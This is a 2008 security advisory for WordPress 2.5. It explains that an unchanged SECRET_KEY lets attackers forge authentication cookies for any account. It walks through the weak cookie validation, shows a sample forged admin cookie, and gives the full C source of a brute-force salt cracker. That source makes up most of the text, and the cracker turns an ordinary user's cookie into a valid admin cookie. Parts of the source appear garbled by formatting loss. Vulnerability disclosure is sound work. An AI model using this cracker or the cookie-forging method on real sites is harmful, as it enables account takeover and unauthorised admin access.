Severity
Medium. It affects only a determinate part of the WordPress users under specific conditions.Affected software
- WordPress 2.5
Vulnerability conditions
After the initial WordPress instalation, the wp-config.php's SECRET_KEY must remain as te default value: 'put your unique phrase here' or be undefined, the default value remains untouched after installing via a browser.
When the WordPress package is unpacked and the victim is ready to install it, he will be asked to read the manual in order to create a wp-config.php file, or to change permissions for the installation directory to be writable. If he choose to change directory permissions, the installation will be completely via web and the SECRET_KEY will remain as the default value.
There exists some other conditions that let the user install WordPress without even knowing that he must change a SECRET_KEY in wp-config.php
- If the user attempts to install WordPress on Windows. Since Windows does not have a strong permissions check.
- If the user attempts to install WordPress under Apache + suexec. The files are not readable or writable for all other users, but writable for the user himself. Thus the installed won't ask you to read the manual.
- Some hosting companies have a one-click installer that does not setup a SECRET_KEY.
- You failed to read the whole installation manual.
Vulnerable scripts
wp-include/pluggable.phpfunction wp_validate_auth_cookie($cookie) { … // The cookie is not being validated. list($username, $expiration, $hmac) = explode('|', $cookie); … // I could send 9999999999 as the second argument of the cookie to skip this condition. if ( $expired < time() ) return false; …
// A mysterious hash is used here, the hash becomes a seven // character word generated by wp_generate_password() // (a.k.a. SECRET_SALT), note that wp_salt() sets // $secret_key to null if SECRET_KEY is equal to the default value. // The argument passed to wp_hash() is completely poisonable. // To gain admin privileges I could use: // 'admin|9999999999|MISTERIOUSHASH' as my cookie.
$key = wp_hash($username . $expiration);
$hash = hash_hmac('md5', $username . $expiration, $key);
// A weak check, I may provide a custom $hmac by knowing // the wp_salt()'s value.
if ( $hmac != $hash ) return false;
// There is no password check, not even IP verification $user = get_userdatabylogin($username);
}
…
function wp_salt() { global $wp_default_secret_key;
$secret_key = '';
// If the key is null, not defined or has the default // value $secret_key remains null
if ( defined('SECRET_KEY') && ('' != SECRET_KEY) && ( $wp_default_secret_key != SECRET_KEY) ) $secret_key = SECRET_KEY;
if ( defined('SECRET_SALT') ) { $salt = SECRET_SALT; } else { $salt = get_option('secret'); if ( empty($salt) ) { $salt = wp_generate_password(); update_option('secret', $salt); } } }
// $salt is a seven char long password. $secret_key is null. return apply_filters('salt', $secret_key . $salt); }
The wp_salt()'s value is stored here:
mysql> select * from wp_options where option_name = 'secret'; +-----------+---------+-------------+--------------+----------+ | option_id | blog_id | option_name | option_value | autoload | +-----------+---------+-------------+--------------+----------+ | 61 | 0 | secret | eat5fsE | yes | +-----------+---------+-------------+--------------+----------+ 1 row in set (0.00 sec)
So if the attacker gets the value of that seven length string he can craft a special cookie and gain access to ANY account he wants.
How can I know the value of wp_salt()?
I am thinking of two ways to get the value of the wp_salt():- Gain access to the WP database by using a SQL injection (such as the GBK encoding and addslashes() issue) on the WordPress core itself or on a third party plugin (the latest is more likely to be possible). I din't find any user-level SQL injection on the WP core.
- Register yourself on a WP 2.5 blog, log in and grab the cookie named wordpress_MD5(SITE_URL), try to crack the value of the wp_salt() with an offline attack using an specialized program.
Possible solution
Read The Fabulous Manual (a.k.a. RTFM) and realize that you have to change the SECRET_KEY's value. The SECRET_KEY should be changed automatically to something random.Proof of concept
I wrote a bruteforce HMAC-MD5 cracker and adapted it to crack wp_salt()'s values using a legitimate cookie as an argument.This is the output of my program cracking the wp_salt() based on a unprivileged user cookie:
test%7C1208303160%7C7d735c50e3635035bf83132cc94ce731 and a given charset:
$ gcc -lcrypto -Wall -o wpsalt wpsalt.c$ ./wpsalt test 1208303160 7d735c50e3635035bf83132cc94ce731 345aefstAE === Success! === * Key: eat5fsE * Valid cookie: admin%7C9999999999%7Cc47aa8c2946525aa9bac61332faba442 === Statistics === * Time taken: 31.240000 s * Average speed: 308986.363636 w/s
The arguments of the wp_salt cracker are:
./wpsalt username timestamp hash [charset]
The average speed of my program is 360000 words per second.
There are 62 characters that can be used to generate a 7 character long wp_password(). If we perform a linear attack, we would have to wait (in the worst case), 62^7/360000/3600/24 = 113 days. However, if we are lucky and we feed the program with a 31 long (a half of the total) character set that contains the seven magic letters, the attack can be reduced to 31^7/360000/3600/24 = 0.8 days, but this, of course, will work only if we are very lucky. The time of the attack is incremented exponentially with each extra character.
Vulnerability timeline
Apr 12, 2008 - Vulnerability found.Apr 13, 2008 - Vendor notified (no response).
Apr 15, 2008 - Public disclosure.
Acknowledgments
g30rg3_x told me the appropriate way to report a WordPress security vulnerability and helped me to test the severity of the issue.
Attachments
--- begins wpsatl.c ---/*** * * Wordpress 2.5 cookie based salt cracker * by J. Carlos Nieto <xiam@menteslibres.org> * http://xiam.menteslibres.org * * Date: * April 13, 2008 * * Advisory: * http://xiam.menteslibres.org/pages/advisories/wordpress-2-5-salt-cracking-vulnerability * * $ gcc -Wall -lcrypto -o wpsalt wpsalt.c * $ ./wpsalt * * */
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/types.h> #include <openssl/md5.h> #include <time.h>
#define CHARSET “abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789” #define KEY_LEN 7 #define hexdec(x) (x - '0' < 10 ? x - '0' : x - 'a' + 10) #define dechex(x) (x < 10 ? x + '0' : x - 10 + 'a')
void digest_to_string(unsigned char *, unsigned char *); void print_digest(unsigned char *); void hmac_md5(unsigned char *, int, unsigned char *, int, unsigned char *); void exit(int); void help(); void wp_hash(char *, int, unsigned char *, int, unsigned char *); void error(const char *); void string_to_digest(const char *, unsigned char *);
void digest_to_string(unsigned char *digest, unsigned char string) { int i; int s; for (i = 0; i < 16; i++) { s = digest[i]%16; string[i2] = dechex((digest[i]-s)/16); string[i*2+1] = dechex(s); } string[32] = 0; }
void print_digest(unsigned char *digest) { unsigned char string[32]; digest_to_string(digest, string); printf(“%s\n”, string); }
/* http://www.faqs.org/rfcs/rfc2104.html */ void hmac_md5(unsigned char *text, int text_len, unsigned char *key, int key_len, unsigned char digest) { MD5_CTX context; unsigned char k_ipad[65]; unsigned char k_opad[65]; //unsigned char tk[16]; int i; / if (key_len > 64) { MD5_CTX tctx; MD5_Init(&tctx); MD5_Update(&tctx, key, key_len); MD5_Final(tk, &tctx); key = tk; key_len = 16; } */ bzero(k_ipad, 65); bzero(k_opad, 65); bcopy(key, k_ipad, key_len); bcopy(key, k_opad, key_len); for (i = 0; i < 64; i++) { k_ipad[i] ^= 0x36; k_opad[i] ^= 0x5c; } MD5_Init(&context); MD5_Update(&context, k_ipad, 64); MD5_Update(&context, text, text_len); MD5_Final(digest, &context); MD5_Init(&context); MD5_Update(&context, k_opad, 64); MD5_Update(&context, digest, 16); MD5_Final(digest, &context); }
void help() { printf(“WordPress 2.5, cookie based salt cracker\n”); printf(“by xiam <xiam@menteslibres.org>\n”); printf(“============================================================\n”); printf(“Advisory: http://xiam.menteslibres.org/pages/advisories/wordpress-2-5-salt-cracking-vulnerability\n”); printf(“\n”); printf(“Usage:\n”); printf(“ ./wpsalt username timestamp hash [charset]\n”); printf(“\n”); printf(“Example:\n”); printf(“ Get a legitimate user cookie, it doesn't need to be from\n”); printf(“ a privileged user.\n”); printf(“ It should look like this:\n”); printf(“ admin%%7C1208298864%%7C981a2a1363e9044a1181661b46777410\n”); printf(“ Run the program:\n”); printf(“ $ ./wpsalt admin 1208298864 \\\n”); printf(“ 981a2a1363e9044a1181661b46777410\n”); printf(“ Now wait some months… or if you're feeling lucky, specify\n”); printf(“ a charset such as in the example below:\n”); printf(“ $ ./wpsalt admin 1208298864 \\\n”); printf(“ 981a2a1363e9044a1181661b46777410 aef5Est\n”); exit(0); }
void wp_hash(char *data, int data_len, unsigned char *key, int key_len, unsigned char *digest) { unsigned char salt[16]; unsigned char inter_key[32]; hmac_md5((unsigned char *)data, data_len, key, key_len, salt); digest_to_string(salt, inter_key); hmac_md5((unsigned char *)data, data_len, inter_key, 32, digest); }
void error(const char *s) { printf(“E: %s\n”, s); exit(0); }
void string_to_digest(const char *string, unsigned char *digest) { int i; int c; if (strlen((char )string) == 32) { for (i = 0; i < 16; i++) { c = hexdec(string[2i])16; c += hexdec(string[2i+1]); digest[i] = c; } } else { error(“The hash must be a 32 chars string.”); } }
int main(int argc, char *argv[]) { unsigned char goal_digest[16]; unsigned char key[KEY_LEN+1]; char *data; char *charset; int map[KEY_LEN]; int charset_len, data_len; unsigned long long int words; int i, j, carr, cont; clock_t time_start, time_end; double total_time; unsigned char digest[16]; data = NULL; charset = NULL; if (argc > 3) { string_to_digest(argv[3], goal_digest); data = (char ) malloc(sizeof(unsigned char)(strlen(argv[1]) + strlen(argv[2]) + 1)); strcat(data, argv[1]); strcat(data, argv[2]); if (argc > 4) { charset = argv[4]; } else { charset = CHARSET; } } else { help(); } data_len = strlen(data); charset_len = strlen(charset)-1; for (i = 0; i < KEY_LEN; i++) { map[i] = 0; key[i] = charset[0]; } key[i] = '\0'; map[0] = -1; time_start = clock(); for (words = -1, cont = 1; cont; words++) { j = 0; map[j]++; if (map[j] > charset_len) { map[0] = 0; key[0] = charset[0]; carr = 1; j++; while (carr) { if (j < KEY_LEN) { map[j]++; if (map[j] > charset_len) { map[j] = 0; } else { carr = 0; } key[j] = charset[map[j]]; j++; } else { cont = 0; carr = 0; } } } else { key[0] = charset[map[0]]; } wp_hash(data, data_len, key, KEY_LEN, digest);
if (memcmp(digest, goal_digest, 16) == 0) { printf(“=== Success! ===\n”); printf(“* Key: %s\n”, key); wp_hash(“admin9999999999”, 15, key, KEY_LEN, digest); printf(“* Valid cookie: admin%%7C9999999999%%7C”); print_digest(digest); cont = 0; } } time_end = clock(); total_time = ((double) (time_end - time_start)) / CLOCKS_PER_SEC; printf(“\n”); printf(“=== Statistics ===\n”); printf(“* Time taken: %f s\n”, total_time); printf(“* Average speed: %f w/s\n”, words/total_time); return 0; } --- ends wpsalt.c ---